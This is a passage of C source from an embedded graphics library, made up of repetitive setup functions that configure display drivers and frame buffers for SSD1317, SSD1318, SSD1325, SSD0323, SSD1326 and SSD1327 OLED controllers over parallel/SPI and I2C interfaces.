void u8g2_Setup_ssd1317_i2c_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 */ /* ssd1318 1 */ void u8g2_Setup_ssd1318_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 2 */ void u8g2_Setup_ssd1318_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 f */ void u8g2_Setup_ssd1318_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 */ /* ssd1318 1 */ void u8g2_Setup_ssd1318_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_i2c_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 2 */ void u8g2_Setup_ssd1318_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_i2c_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1318 f */ void u8g2_Setup_ssd1318_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1318_i2c_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 */ /* ssd1325 1 */ void u8g2_Setup_ssd1325_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 2 */ void u8g2_Setup_ssd1325_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 f */ void u8g2_Setup_ssd1325_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 */ /* ssd1325 1 */ void u8g2_Setup_ssd1325_i2c_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 2 */ void u8g2_Setup_ssd1325_i2c_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1325 f */ void u8g2_Setup_ssd1325_i2c_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 */ /* ssd0323 1 */ void u8g2_Setup_ssd0323_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 2 */ void u8g2_Setup_ssd0323_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 f */ void u8g2_Setup_ssd0323_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 */ /* ssd0323 1 */ void u8g2_Setup_ssd0323_i2c_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 2 */ void u8g2_Setup_ssd0323_i2c_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd0323 f */ void u8g2_Setup_ssd0323_i2c_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 */ /* ssd1326 1 */ void u8g2_Setup_ssd1326_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 2 */ void u8g2_Setup_ssd1326_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 f */ void u8g2_Setup_ssd1326_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 */ /* ssd1326 1 */ void u8g2_Setup_ssd1326_i2c_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 2 */ void u8g2_Setup_ssd1326_i2c_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1326 f */ void u8g2_Setup_ssd1326_i2c_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_i2c_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_i2c_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_i2c_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_zjy_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_zjy_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_zjy_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; 